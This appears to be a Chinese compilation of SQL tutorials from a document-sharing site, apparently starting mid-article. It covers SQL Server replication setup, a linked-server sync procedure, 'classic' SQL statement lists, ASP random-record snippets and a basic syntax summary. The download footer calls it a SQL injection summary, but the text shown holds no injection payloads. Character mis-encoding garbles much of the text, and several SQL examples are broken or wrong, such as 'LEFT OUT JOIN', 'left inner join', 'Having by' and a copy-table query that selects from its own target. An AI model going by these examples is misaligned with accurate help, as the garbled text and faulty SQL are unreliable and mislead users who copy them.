--選擇“共享該文件夾”--通過“權限”按紐來設置具體的用戶權限,保證第一步中創(chuàng)建的用戶(SynUser)具有對該文件夾的所有權限

--確定

3.設置SQL代理(SQLSERVERAGENT)服務的啟動用戶(發(fā)布/訂閱服務器均做此設置)開始--程序--管理工具--服務--右鍵SQLSERVERAGENT--屬性--登陸--選擇“此賬戶”--輸入或者選擇第一步中創(chuàng)建的windows登錄用戶名(SynUser)--“密碼”中輸入該用戶的密碼

4.設置SQL Server身份驗證模式,解決連接時的權限問題(發(fā)布/訂閱服務器均做此設置)企業(yè)管理器

--右鍵SQL實例--屬性

--安全性--身份驗證

--選擇“SQL Server 和 Windows”

--確定

5.在發(fā)布服務器和訂閱服務器上互相注冊 企業(yè)管理器

--右鍵SQL Server組

--新建SQL Server注冊...--下一步--可用的服務器中,輸入你要注冊的遠程服務器名--添加--下一步--連接使用,選擇第二個“SQL Server身份驗證”--下一步--輸入用戶名和密碼(SynUser)

--下一步--選擇SQL Server組,也可以創(chuàng)建一個新組--下一步--完成

6.對于只能用IP,不能用計算機名的,為其注冊服務器別名(此步在實施中沒用到)

(在連接端配置,比如,在訂閱服務器上配置的話,服務器名稱中輸入的是發(fā)布服務器的IP)開始--程序--Microsoft SQL Server--客戶端網(wǎng)絡實用工具--別名--添加

--網(wǎng)絡庫選擇“tcp/ip”--服務器別名輸入SQL服務器名

--連接參數(shù)--服務器名稱中輸入SQL服務器ip地址

--如果你修改了SQL的端口,取消選擇“動態(tài)決定端口”,并輸入對應的端口號

二、正式配置

1、配置發(fā)布服務器

打開企業(yè)管理器,在發(fā)布服務器(B、C、D)上執(zhí)行以下步驟:(1)從[工具]下拉菜單的[復制]子菜單中選擇[配置發(fā)布、訂閱服務器和分發(fā)]出現(xiàn)配置發(fā)布和分發(fā)向導(2)[下一步] 選擇分發(fā)服務器 可以選擇把發(fā)布服務器自己作為分發(fā)服務器或者其他sql的服務器(選擇自己)

(3)[下一步] 設置快照文件夾

采用默認servernamePub(4)[下一步] 自定義配置

可以選擇:是,讓我設置分發(fā)數(shù)據(jù)庫屬性啟用發(fā)布服務器或設置發(fā)布設置 否,使用下列默認設置(推薦)

(5)[下一步] 設置分發(fā)數(shù)據(jù)庫名稱和位置 采用默認值(6)[下一步] 啟用發(fā)布服務器 選擇作為發(fā)布的服務器(7)[下一步] 選擇需要發(fā)布的數(shù)據(jù)庫和發(fā)布類型(8)[下一步] 選擇注冊訂閱服務器(9)[下一步] 完成配置

2、創(chuàng)建出版物

發(fā)布服務器B、C、D上

(1)從[工具]菜單的[復制]子菜單中選擇[創(chuàng)建和管理發(fā)布]命令(2)選擇要創(chuàng)建出版物的數(shù)據(jù)庫,然后單擊[創(chuàng)建發(fā)布](3)在[創(chuàng)建發(fā)布向導]的提示對話框中單擊[下一步]系統(tǒng)就會彈出一個對話框。對話框上的內(nèi)容是復制的三個類型。我們現(xiàn)在選第一個也就是默認的快照發(fā)布(其他兩個大家可以去看看幫助)(4)單擊[下一步]系統(tǒng)要求指定可以訂閱該發(fā)布的數(shù)據(jù)庫服務器類型, SQLSERVER允許在不同的數(shù)據(jù)庫如 orACLE或ACCESS之間進行數(shù)據(jù)復制。但是在這里我們選擇運行“SQL SERVER 2000”的數(shù)據(jù)庫服務器

(5)單擊[下一步]系統(tǒng)就彈出一個定義文章的對話框也就是選擇要出版的表 注意: 如果前面選擇了事務發(fā)布 則再這一步中只能選擇帶有主鍵的表(6)選擇發(fā)布名稱和描述

(7)自定義發(fā)布屬性 向導提供的選擇:

是 我將自定義數(shù)據(jù)篩選,啟用匿名訂閱和或其他自定義屬性 否 根據(jù)指定方式創(chuàng)建發(fā)布(建議采用自定義的方式)(8)[下一步] 選擇篩選發(fā)布的方式

(9)[下一步] 可以選擇是否允許匿名訂閱

1)如果選擇署名訂閱,則需要在發(fā)布服務器上添加訂閱服務器

方法: [工具]->[復制]->[配置發(fā)布、訂閱服務器和分發(fā)的屬性]->[訂閱服務器] 中添加 否則在訂閱服務器上請求訂閱時會出現(xiàn)的提示:改發(fā)布不允許匿名訂閱 如果仍然需要匿名訂閱則用以下解決辦法

[企業(yè)管理器]->[復制]->[發(fā)布內(nèi)容]->[屬性]->[訂閱選項] 選擇允許匿名請求訂閱 2)如果選擇匿名訂閱,則配置訂閱服務器時不會出現(xiàn)以上提示(10)[下一步] 設置快照 代理程序調度(11)[下一步] 完成配置

當完成出版物的創(chuàng)建后創(chuàng)建出版物的數(shù)據(jù)庫也就變成了一個共享數(shù)據(jù)庫 有數(shù)據(jù)

srv1.庫名..author有字段:id,name,phone, srv2.庫名..author有字段:id,name,telphone,adress

要求:

srv1.庫名..author增加記錄則srv1.庫名..author記錄增加

srv1.庫名..author的phone字段更新,則srv1.庫名..author對應字段telphone更新--*/

--大致的處理步驟

--1.在 srv1 上創(chuàng)建連接服務器,以便在 srv1 中操作 srv2,實現(xiàn)同步

exec sp_addlinkedserver 'srv2','','SQLOLEDB','srv2的sql實例名或ip' exec sp_addlinkedsrvlogin 'srv2','false',null,'用戶名','密碼' go--2.在 srv1 和 srv2 這兩臺電腦中,啟動 msdtc(分布式事務處理服務),并且設置為自動啟動

。我的電腦--控制面板--管理工具--服務--右鍵 Distributed Transaction Coordinator--屬性--啟動--并將啟動類型設置為自動啟動 go

--然后創(chuàng)建一個作業(yè)定時調用上面的同步處理存儲過程就行了

企業(yè)管理器--管理

--SQL Server代理--右鍵作業(yè)--新建作業(yè)

--“常規(guī)”項中輸入作業(yè)名稱--“步驟”項

--新建

--“步驟名”中輸入步驟名

--“類型”中選擇“Transact-SQL 腳本(TSQL)”--“數(shù)據(jù)庫”選擇執(zhí)行命令的數(shù)據(jù)庫

--“命令”中輸入要執(zhí)行的語句: exec p_process--確定--“調度”項--新建調度

--“名稱”中輸入調度名稱

--“調度類型”中選擇你的作業(yè)執(zhí)行安排--如果選擇“反復出現(xiàn)”--點“更改”來設置你的時間安排

然后將SQL Agent服務啟動,并設置為自動啟動,否則你的作業(yè)不會被執(zhí)行

設置方法: 我的電腦--控制面板--管理工具--服務--右鍵 SQLSERVERAGENT--屬性--啟動類型--選擇“自動啟動”--確定.--3.實現(xiàn)同步處理的方法2,定時同步

--在srv1中創(chuàng)建如下的同步處理存儲過程 create proc p_process as--更新修改過的數(shù)據(jù)

update b set name=i.name,telphone=i.telphone from srv2.庫名.dbo.author b,author i where b.id=i.id and(b.name <> i.name or b.telphone <> i.telphone)

--插入新增的數(shù)據(jù)

insert srv2.庫名.dbo.author(id,name,telphone)select id,name,telphone from author i where not exists(select * from srv2.庫名.dbo.author where id=i.id)

--刪除已經(jīng)刪除的數(shù)據(jù)(如果需要的話)delete b from srv2.庫名.dbo.author b where not exists(select * from author where id=b.id)go

第四篇:經(jīng)典實用SQL語句總結

經(jīng)典實用SQL語句大全總結

[編輯語言]2015-05-26 19:56

本文導航

1、首頁2、11、說明:四表聯(lián)查問題:

本文是經(jīng)典實用SQL語句大全的介紹,下面是該介紹的詳細信息。下列語句部分是Mssql語句,不可以在access中使用。SQL分類:

DDL—數(shù)據(jù)定義語言(CREATE,ALTER,DROP,DECLARE)DML—數(shù)據(jù)操縱語言(SELECT,DELETE,UPDATE,INSERT)DCL—數(shù)據(jù)控制語言(GRANT,REVOKE,COMMIT,ROLLBACK)首先,簡要介紹基礎語句:

1、說明:創(chuàng)建數(shù)據(jù)庫

CREATE DATABASE database-name

2、說明:刪除數(shù)據(jù)庫 drop database dbname

3、說明:備份sql server---創(chuàng)建 備份數(shù)據(jù)的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:mssql7backupMyNwind_1.dat'---開始 備份

BACKUP DATABASE pubs TO testBack

4、說明:創(chuàng)建新表

create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)根據(jù)已有的表創(chuàng)建新表:

A:create table tab_new like tab_old(使用舊表創(chuàng)建新表)B:create table tab_new as select col1,col2… from tab_old definition only

5、說明:

刪除新表:drop table tabname

6、說明:

增加一個列:Alter table tabname add column col type 注:列增加后將不能刪除。DB2中列加上后數(shù)據(jù)類型也不能改變,唯一能改變的是增加varchar類型的長度。

7、說明:

添加主鍵:Alter table tabname add primary key(col)說明:

刪除主鍵:Alter table tabname drop primary key(col)

8、說明:

創(chuàng)建索引:create [unique] index idxname on tabname(col….)刪除索引:drop index idxname 注:索引是不可更改的,想更改必須刪除重新建。

9、說明: 創(chuàng)建視圖:create view viewname as select statement 刪除視圖:drop view viewname

10、說明:幾個簡單的基本的sql語句 選擇:select * from table1 where 范圍

插入:insert into table1(field1,field2)values(value1,value2)刪除:delete from table1 where 范圍

更新:update table1 set field1=value1 where 范圍

查找:select * from table1 where field1 like ’%value1%’---like的語法很精妙,查資料!排序:select * from table1 order by field1,field2 [desc] 總數(shù):select count * as totalcount from table1 求和:select sum(field1)as sumvalue from table1平均:select avg(field1)as avgvalue from table1 最大:select max(field1)as maxvalue from table1 最小:select min(field1)as minvalue from table1

11、說明:幾個高級查詢運算詞 A: UNION 運算符

UNION 運算符通過組合其他兩個結果表(例如 TABLE1 和 TABLE2)并消去表中任何重復行而派生出一個結果表。當 ALL 隨 UNION 一起使用時(即 UNION ALL),不消除重復行。兩種情況下,派生表的每一行不是來自 TABLE1 就是來自 TABLE2。

B: EXCEPT 運算符 EXCEPT 運算符通過包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重復行而派生出一個結果表。當 ALL 隨 EXCEPT 一起使用時(EXCEPT ALL),不消除重復行。

C: INTERSECT 運算符

INTERSECT 運算符通過只包括 TABLE1 和 TABLE2 中都有的行并消除所有重復行而派生出一個結果表。當 ALL 隨 INTERSECT 一起使用時(INTERSECT ALL),不消除重復行。

注:使用運算詞的幾個查詢結果行必須是一致的。

12、說明:使用外連接 A、left outer join:

左外連接(左連接):結果集幾包括連接表的匹配行,也包括左連接表的所有行。

SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c B:right outer join: 右外連接(右連接):結果集既包括連接表的匹配連接行,也包括右連接表的所有行。

C:full outer join:

全外連接:不僅包括符號連接表的匹配行,還包括兩個連接表中的所有記錄。其次,大家來看一些不錯的sql語句

1、說明:復制表(只復制結構,源表名:a 新表名:b)(Access可用)法一:select * into b from a where 1<>1 法二:select top 0 * into b from a

2、說明:拷貝表(拷貝數(shù)據(jù),源表名:a 目標表名:b)(Access可用)insert into b(a, b, c)select d,e,f from b;

3、說明:跨數(shù)據(jù)庫之間表的拷貝(具體數(shù)據(jù)使用絕對路徑)(Access可用)insert into b(a, b, c)select d,e,f from b in ‘具體數(shù)據(jù)庫’ where 條件 例子:..from b in '“&Server.MapPath(”.“)&”data.mdb“ &”' where..4、說明:子查詢(表名1:a 表名2:b)select a,b,c from a where a IN(select d from b)或者: select a,b,c from a where a IN(1,2,3)

5、說明:顯示文章、提交人和最后回復時間

select a.title,a.username,b.adddate from table a,(select max(adddate)adddate from table where table.title=a.title)b

6、說明:外連接查詢(表名1:a 表名2:b)select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

7、說明:在線視圖查詢(表名1:a)select * from(SELECT a,b,c FROM a)T where t.a > 1;

8、說明:between的用法,between限制查詢數(shù)據(jù)范圍時包括了邊界值,not between不包括

select * from table1 where time between time1 and time2 select a,b,c, from table1 where a not between 數(shù)值1 and 數(shù)值2

9、說明:in 的使用方法

select * from table1 where a [not] in(‘值1’,’值2’,’值4’,’值6’)

10、說明:兩張關聯(lián)表,刪除主表中已經(jīng)在副表中沒有的信息 delete from table1 where not exists(select * from table2 where table1.field1=table2.field1)

11、說明:四表聯(lián)查問題:

select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where.....12、說明:日程安排提前五分鐘提醒

SQL: select * from 日程安排 where datediff('minute',f開始時間,getdate())>5

13、說明:一條sql 語句搞定數(shù)據(jù)庫分頁

select top 10 b.* from(select top 20 主鍵字段,排序字段 from 表名 order by 排序字段 desc)a,表名 b where b.主鍵字段 = a.主鍵字段 order by a.排序字段

14、說明:前10條記錄

select top 10 * form table1 where 范圍

15、說明:選擇在每一組b值相同的數(shù)據(jù)中對應的a最大的記錄的所有信息(類似這樣的用法可以用于論壇每月排行榜,每月熱銷產(chǎn)品分析,按科目成績排名,等等.)select a,b,c from tablename ta where a=(select max(a)from tablename tb where tb.b=ta.b)

16、說明:包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重復行而派生出一個結果表(select a from tableA)except(select a from tableB)except(select a from tableC)

17、說明:隨機取出10條數(shù)據(jù)

select top 10 * from tablename order by newid()

18、說明:隨機選擇記錄 select newid()

19、說明:刪除重復記錄

Delete from tablename where id not in(select max(id)from tablename group by col1,col2,...)20、說明:列出數(shù)據(jù)庫里所有的表名

select name from sysobjects where type='U'

21、說明:列出表里的所有的

select name from syscolumns where id=object_id('TableName')

22、說明:列示type、vender、pcs字段,以type字段排列,case可以方便地實現(xiàn)多重選擇,類似select 中的case。

select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end)FROM tablename group by type 顯示結果: type vender pcs 電腦 A 1 電腦 A 1 光盤 B 2 光盤 A 2 手機 B 3 手機 C 3

23、說明:初始化表table1 TRUNCATE TABLE table1

24、說明:選擇從10到15的記錄

select top 5 * from(select top 15 * from table order by id asc)table_別名 order by id desc 隨機選擇數(shù)據(jù)庫記錄的方法(使用Randomize函數(shù),通過SQL語句實現(xiàn))對存儲在數(shù)據(jù)庫中的數(shù)據(jù)來說,隨機數(shù)特性能給出上面的效果,但它們可能太慢了些。你不能要求ASP“找個隨機數(shù)”然后打印出來。實際上常見的解決方案是建立如下所示的循環(huán):

Randomize RNumber = Int(Rnd*499)+1 While Not objRec.EOF If objRec(“ID”)= RNumber THEN...這里是執(zhí)行腳本...end if objRec.MoveNext Wend 這很容易理解。首先,你取出1到500范圍之內(nèi)的一個隨機數(shù)(假設500就是數(shù)據(jù)庫內(nèi)記錄的總數(shù))。然后,你遍歷每一記錄來測試ID 的值、檢查其是否匹配RNumber。滿足條件的話就執(zhí)行由THEN 關鍵字開始的那一塊代碼。假如你的RNumber 等于495,那么要循環(huán)一遍數(shù)據(jù)庫花的時間可就長了。雖然500這個數(shù)字看起來大了些,但相比更為穩(wěn)固的企業(yè)解決方案這還是個小型數(shù)據(jù)庫了,后者通常在一個數(shù)據(jù)庫內(nèi)就包含了成千上萬條記錄。這時候不就死定了? 采用SQL,你就可以很快地找出準確的記錄并且打開一個只包含該記錄的 recordset,如下所示:

Randomize RNumber = Int(Rnd*499)+ 1 SQL = “SELECT * FROM Customers WHERE ID = ” & RNumber set objRec = ObjConn.Execute(SQL)Response.WriteRNumber & “ = ” & objRec(“ID”)& “ ” & objRec(“c_email”)不必寫出RNumber 和ID,你只需要檢查匹配情況即可。只要你對以上代碼的工作滿意,你自可按需操作“隨機”記錄。Recordset沒有包含其他內(nèi)容,因此你很快就能找到你需要的記錄這樣就大大降低了處理時間。

再談隨機數(shù)

現(xiàn)在你下定決心要榨干Random 函數(shù)的最后一滴油,那么你可能會一次取出多條隨機記錄或者想采用一定隨機范圍內(nèi)的記錄。把上面的標準Random 示例擴展一下就可以用SQL應對上面兩種情況了。為了取出幾條隨機選擇的記錄并存放在同一recordset內(nèi),你可以存儲三個隨機數(shù),然后查詢數(shù)據(jù)庫獲得匹配這些數(shù)字的記錄:

SQL = “SELECT * FROM Customers WHERE ID = ” & RNumber & “ OR ID = ” & RNumber2 & “ OR ID = ” & RNumber3 假如你想選出10條記錄(也許是每次頁面裝載時的10條鏈接的列表),你可以用BETWEEN 或者數(shù)學等式選出第一條記錄和適當數(shù)量的遞增記錄。這一操作可以通過好幾種方式來完成,但是 SELECT 語句只顯示一種可能(這里的ID 是自動生成的號碼):

SQL = “SELECT * FROM Customers WHERE ID BETWEEN ” & RNumber & “ AND ” & RNumber & “+ 9” 注意:以上代碼的執(zhí)行目的不是檢查數(shù)據(jù)庫內(nèi)是否有9條并發(fā)記錄。隨機讀取若干條記錄,測試過

Access語法:SELECT top 10 * From 表名 ORDER BY Rnd(id)Sql server:select top n * from 表名 order by newid()mysql select * From 表名 Order By rand()Limit n Access左連接語法(最近開發(fā)要用左連接,Access幫助什么都沒有,網(wǎng)上沒有Access的SQL說明,只有自己測試, 現(xiàn)在記下以備后查)語法 select table1.fd1,table1,fd2,table2.fd2 From table1 left join table2 on table1.fd1,table2.fd1 where...使用SQL語句 用...代替過長的字符串顯示 語法: SQL數(shù)據(jù)庫:select case when len(field)>10 then left(field,10)+'...' else field end as news_name,news_id from tablename Access數(shù)據(jù)庫:SELECT iif(len(field)>2,left(field,2)+'...',field)FROM tablename;Conn.Execute說明 Execute方法

該方法用于執(zhí)行SQL語句。根據(jù)SQL語句執(zhí)行后是否返回記錄集,該方法的使用格式分為以下兩種:

1.執(zhí)行SQL查詢語句時,將返回查詢得到的記錄集。用法為: Set 對象變量名=連接對象.Execute(“SQL 查詢語言”)Execute方法調用后,會自動創(chuàng)建記錄集對象,并將查詢結果存儲在該記錄對象中,通過Set方法,將記錄集賦給指定的對象保存,以后對象變量就代表了該記錄集對象。

2.執(zhí)行SQL的操作性語言時,沒有記錄集的返回。此時用法為: 連接對象.Execute “SQL 操作性語句” [, RecordAffected][, Option] ·RecordAffected 為可選項,此出可放置一個變量,SQL語句執(zhí)行后,所生效的記錄數(shù)會自動保存到該變量中。通過訪問該變量,就可知道SQL語句隊多少條記錄進行了操作。

·Option 可選項,該參數(shù)的取值通常為adCMDText,它用于告訴ADO,應該將Execute方法之后的第一個字符解釋為命令文本。通過指定該參數(shù),可使執(zhí)行更高效。

·BeginTrans、RollbackTrans、CommitTrans方法 這三個方法是連接對象提供的用于事務處理的方法。BeginTrans用于開始一個事物;RollbackTrans用于回滾事務;CommitTrans用于提交所有的事務處理結果,即確認事務的處理。

事務處理可以將一組操作視為一個整體,只有全部語句都成功執(zhí)行后,事務處理才算成功;若其中有一個語句執(zhí)行失敗,則整個處理就算失敗,并恢復到處里前的狀態(tài)。

BeginTrans和CommitTrans用于標記事務的開始和結束,在這兩個之間的語句,就是作為事務處理的語句。判斷事務處理是否成功,可通過連接對象的Error集合來實現(xiàn),若Error集合的成員個數(shù)不為0,則說明有錯誤發(fā)生,事務處理失敗。Error集合中的每一個Error對象,代表一個錯誤信息。

SQL語句大全精要 2006/10/26 13:46 DELETE 語句

DELETE語句:用于創(chuàng)建一個刪除查詢,可從列在 FROM 子句之中的一個或多個表中刪除記錄,且該子句滿足 WHERE 子句中的條件,可以使用DELETE刪除多個記錄。

語法:DELETE [table.*] FROM table WHERE criteria 語法:DELETE * FROM table WHERE criteria='查詢的字' 說明:table參數(shù)用于指定從其中刪除記錄的表的名稱。

criteria參數(shù)為一個表達式,用于指定哪些記錄應該被刪除的表達式。可以使用 Execute 方法與一個 DROP 語句從數(shù)據(jù)庫中放棄整個表。不過,若用這種方法刪除表,將會失去表的結構。不同的是當使用 DELETE,只有數(shù)據(jù)會被刪除;表的結構以及表的所有屬性仍然保留,例如字段屬性及索引。

以上就是精品學習網(wǎng)提供的關于經(jīng)典實用SQL語句大全的內(nèi)容,希望對大家有所幫助。

第五篇:SQL語句總結

SQL語句總結

一、插入記錄

1. 插入固定的數(shù)值

語法:

INSERT[INTO]表名[(字段列表)]VALUES(值列表)

示例1:

Insert into Students values('Mary’,24,’mary@163.com’)

若沒有指定給Student表的哪些字段插入數(shù)據(jù):<情況一>表示給該表的所有字段插入數(shù)據(jù),根據(jù)數(shù)據(jù)的個數(shù),可以得知Students表中一共有3個字段<情況二>表中有4個字段,其中一個字段是標識列。

示例2:

Insert into Students(Sname,Sage)values(‘Mary’,24)

指定給表中的Sname,Sage兩個字段插入數(shù)據(jù)。注意事項:

1)該命令運行一次向表中插入1條記錄。無法實現(xiàn)向已存在的某記錄中插入一個數(shù)據(jù)

2)如果不指定給哪些字段插入數(shù)值,則應注意值列表的值個數(shù)

3)插入數(shù)據(jù)時,注意值的數(shù)據(jù)類型要與對應的字段數(shù)據(jù)類型匹配

4)插入數(shù)據(jù)時,如果沒有給值的字段必須保證允許其為空

5)插入數(shù)據(jù)時,要注意字段中的一些約束

2. 插入的記錄集為一個查詢結果

語法:

INSERTINTO表名[(字段列表)]SELECT 字段列表 FROM表WHERE條件 示例1:

InsertintoTeacherselectSname,Sage,SemailfromStudent

從Student表中查詢?nèi)齻€字段的全部記錄,插入Teacher表,沒有指定Teacher表的具體字段,表示給Teacher表的全部字段插入數(shù)值

示例2:

InsertintoTeacherselectSname,Sage,SemailfromStudentwhereSage>25

從Student表中查詢?nèi)齻€字段的部分記錄,插入Teacher表

示例3:

InsertintoTeacher(tid,tname)selectSname , SagefromStudent 從Student表中查詢兩個字段的全部記錄,插入到Teacher表中的tid,tname字段 注意事項:

查詢表的字段要和插入表的字段數(shù)據(jù)類型一一對應

3. 生成表查詢

語法:

SELECT字段列表INTO新表名FROM原表WHERE條件

示例1:

SelectSname,Sage,SemailintonewStudentfrom Studentwhere Sage<20 從Student表中查詢出年齡小于20歲的學生的記錄生成新表newStudent

共6頁當前第1頁

示例2:

Select Sname,Sage,SemailintonewStudentfromStudentwhere 1=2

利用Student表的表結構生成新表newStudent,newStudent表中記錄為空

注意事項:

執(zhí)行該語句時,確保數(shù)據(jù)庫中不存在into關鍵字后面的指定的表名

二、刪除記錄

1)刪除滿足條件的記錄

語法:

DELETEFROM表名WHERE條件

示例1:

DeletefromStudentwhereSage<20

從Student表中刪除年齡小于20歲的學生的記錄

示例2:

DeletefromStudent

沒有設置條件,刪除Student表的全部記錄

2)刪除表的全部記錄

語法:

TRUNCATETABLE表名

示例:

TruncatetableStudent

刪除表Student中的全部記錄,約束依然存在三、修改記錄

語法:

UPDATE表名SET字段=新值WHERE條件

示例1:

UpdateStudentsetSemail=’Email’+SemailwhereSemailisnotnull

把有email的學員的email地址變?yōu)樵鹊牡刂非凹由稀瓻mail’字符串

示例2:

UpdateStudentsetSage=Sage+1

把所有記錄的Sage變?yōu)樵鹊闹导?,例如過一年學生要長一歲

四、查詢記錄

1. 基本查詢

語法:

SELECT字段列表FROM表

示例1:

SelectsName,sAge,sEmailfromStudents

從Students表中查詢3個字段的所有的記錄

示例2:

Select*fromStudents

從Students表中查詢所有字段的所有的記錄(字段列表位置寫*代表查詢表中所有字段)

2. 帶WHERE子句的查詢

語法:

SELECT字段列表FROM表WHERE條件

示例1:

SelectSNamefromStudentswhereSage>23

查詢Students表中年齡大于23的學員的姓名

3. 應用別名

語法1:

SELECT字段列表AS別名??

示例1:

SelectSNameas學員姓名,sAgeas學員年齡fromStudents

將查詢的兩個字段分別用中文別名顯示

語法2:

SELECT別名=字段??

示例2:

Select學員姓名=sName, 學員年齡=sAgefromStudents

注意事項:

別名可以是英文,也可以是中文,別名可以用單引號引起,也可以不引

4. 使用常量(利用‘+’連接字段和常量)

示例:

SelectsName+’的年齡是’+convert(varchar(2),sAge)as 學員信息

from Students

從Students表中查詢,將學員的姓名和年齡信息與一個常量連接起來,顯示為一個字段,該字段以“學員信息”為別名

5. 限制返回的行數(shù)

語法1:

SELECTTOPN字段列表 FROM表

示例1:

Select top 3sName,sAgefromStudents

查詢Students表的前三條記錄

語法2:

SELECTTOPNPERCENT字段列表FROM表

示例2:

Selecttop30percentsName,sAge from Students

查詢Students表的前30%條記錄

6. 排序

語法:

SELECT字段列表FROM表WHERE條件ORDER BY字段ASC/DESC 示例1:

Select*fromStudentswhere sAge>20order by sAge

查詢年齡大于20歲的學員信息,并且按照年齡升序排序(若不指定升降序,默認為升序)示例2:

Select*fromStudentsorder by sNamedesc

查詢所有學生的所有信息,并按照學生的姓名降序排序

7. 模糊查詢

1)Like:通常與通配符結合使用,適用于文本類型的字段

示例1:

Select * from StudentswheresNamelike ‘張_’

查詢Students表中張姓的,兩個字名的學生信息

示例2:

Select * from StudentswheresNamelike ‘張%’

查詢Students表中張姓的學生的信息

示例3:

Select * from StudentswheresEmaillike ‘%@[a-z]%’

查詢Students表中,Semail字段‘@’后的第一個字符為小寫英文字母的學生信息 示例4:

Select * from StudentswherestuNamelike ‘%@[^a-z]%’

查詢Students表中,Semail字段‘@’后的第一個字符不是小寫英文字母的學生信息

2)Between ?and?:用于查詢條件為一個字段介于兩個值之間

示例:

Select * from Students where Sage between 20and25

查詢學員年齡在20到25之間的學員信息

3)In:用于查詢某個字段在值列表中出現(xiàn)作為條件

示例:

Select*fromStudentswhereScityin(‘大連’,’沈陽’,’北京’)查詢學員的城市在大連,沈陽或北京的學員信息,等價于如下功能:

Select * from Students where Scity=’大連’or Scity=’沈陽’or Scity=’北京’

4)Isnull:用于查詢某個字段為空作為條件

示例:

Select * from Students where Semail is null

查詢學員的email為空的學員信息

Select * from Students where semail is not null

查詢學員的email不為空的學員信息

8. 聚合函數(shù)(所有函數(shù)自動忽略空值)

1)Sum():統(tǒng)計某字段的和,用于數(shù)值型數(shù)據(jù)

示例:

Select sum(Sage)as 學員的年齡和 from Student

統(tǒng)計Students表中所有學員的年齡總和,顯示結果為一個字段一條記錄

2)Avg():統(tǒng)計某字段的平均值,用于數(shù)值型數(shù)據(jù)

示例:

Select avg(Sage)as 學員的平均年齡fromStudents

統(tǒng)計Students表中所有學員的年齡的平均值,顯示結果為一個字段一條記錄

3)Max():統(tǒng)計某字段的最大值,用于數(shù)值,文本,日期型

4)Min():統(tǒng)計某字段的最小值,用于數(shù)值,文本,日期型

示例:

Select max(Sage)as 最大年齡 , min(Sage)as 最小年齡from Students

查詢Students表中的學員的最大年齡和最小年齡,顯示結果為兩個字段一條記錄

5)Count():統(tǒng)計某字段的記錄數(shù)或者表的記錄數(shù)

示例1:

Select count(Semail)as email的數(shù)量 fromStudents

查詢Students表中,有email的學員的數(shù)量。Count(字段)代表統(tǒng)計字段的記錄數(shù) 示例2:

Select count(*)as學員的數(shù)量fromStudents

查詢Students表中的記錄數(shù),count(*)代表統(tǒng)計表的記錄數(shù)

9. 分組與聚合函數(shù)

語法:

SELECT字段1,聚合函數(shù)(字段)AS別名

FROM表

WHERE條件1

GROUP BY字段1

HAVING條件2

ORDER BY字段

注意事項: 1)此語法格式用于對表中按照某個字段分類之后,對每類中的某個數(shù)據(jù)進行統(tǒng)計

2)分組的字段應該是包含大量重復數(shù)據(jù)的字段

3)只有出現(xiàn)的group by后的字段,才可以獨立出現(xiàn)在select后

4)Where條件用于在分組之前進行對記錄的過濾

5)Having條件用于對分組之后的記錄集進行條件過濾

6)Orderby總是出現(xiàn)在最后,對最終的結果集進行排序

示例1:

SelectSsex,avg(Sage)as平均年齡fromStudent

Group by Ssex

統(tǒng)計Student表中男生和女生的平均年齡。按照性別分組,分為男生和女生兩組,統(tǒng)計每組中年齡的平均值

示例2:

SelectSsex,avg(Sage)as平均年齡fromStudents

WhereSemail is not null

Group by Ssex

統(tǒng)計具有email的學員中,男生和女生的平均年齡。先根據(jù)Smail字段進行條件過濾,過濾掉沒有email的學員,對有email的學員分為男生和女孩兩組,統(tǒng)計每組中年齡的平均值

示例3:

SelectSdate,count(*)as人數(shù)

FromStudents

Group by Sdate

Havingcount(*)>10

統(tǒng)計每天報名的人數(shù),并顯示出報名人數(shù)多于10人的記錄。先按照報名的日期進行分組,統(tǒng)計出每天的報名人數(shù),再在分組之后的記錄集上進行條件過濾,留下人數(shù)超過10人的記錄。

示例4:

SelectSdate,count(*)as人數(shù)

From Students

Where xueli=’大專’

Group by Sdate

Having by count(*)>10

查詢大專學歷的學員中,每天報名的人數(shù),并顯示多于10人的記錄。先按照學歷為大專的條件進行過濾,把是大專的學員按照報名日期進行分組,統(tǒng)計每組的報名人數(shù),再把分組之后的記錄集進行再次過濾,顯示出報名人數(shù)多于10人的信息

10. 多表查詢 注意事項:

1)能夠進行多表聯(lián)接查詢的表中必須包含有公共字段,兩個表的公共字段不要求字段名相同,但數(shù)據(jù)類型必須相同,功能相同,且兩個字段中要包含相同記錄

2)最常用的聯(lián)接為內(nèi)聯(lián)接

1)內(nèi)聯(lián)接

SELECT字段列表

FROM表1INNERJOIN表2

ON表1.公共字段=表2.公共字段

返回兩個表基于公共字段有相同記錄的匹配結果

SELECT字段列表

FROM表1INNERJOIN表2

ON表1.公共字段<>表2.公共字段

返回兩個表的交叉聯(lián)接的結果與相等條件的內(nèi)聯(lián)的差集

2)外聯(lián)接

(1)左外聯(lián)接

SELECT字段列表

FROM左表LEFTJOIN右表

ON左表.公共字段=右表.公共字段

返回內(nèi)聯(lián)的結果加上左表的剩余記錄

(2)右外聯(lián)接

SELECT字段列表

FROM左表RIGHTJOIN右表

ON左表.公共字段=表2.公共字段

返回內(nèi)聯(lián)的結果加上右表的剩余記錄

(3)完整外聯(lián)接

SELECT字段列表

FROM表1FULLJOIN表2

ON表1.公共字段=表2.公共字段

返回內(nèi)聯(lián)的結果加上左表的剩余和右表的剩余

3)交叉聯(lián)接

SELECT字段列表

FROM表1CROSSJOIN表2

返回結果集的數(shù)目為表1的記錄數(shù)*表2的記錄數(shù),表1中的每一條記錄分別和表2中的每條記錄進行匹配

4)自聯(lián)接

SELECT字段列表

FROM表1AS別名1INNERJOIN表1AS別名2

ON別名1.公共字段=別名2.公共字段

下載SQL注射語句的經(jīng)典總結word格式文檔
下載SQL注射語句的經(jīng)典總結.doc
將本文檔下載到自己電腦,方便修改和收藏,請勿使用迅雷等下載。
點此處下載文檔

文檔為doc格式


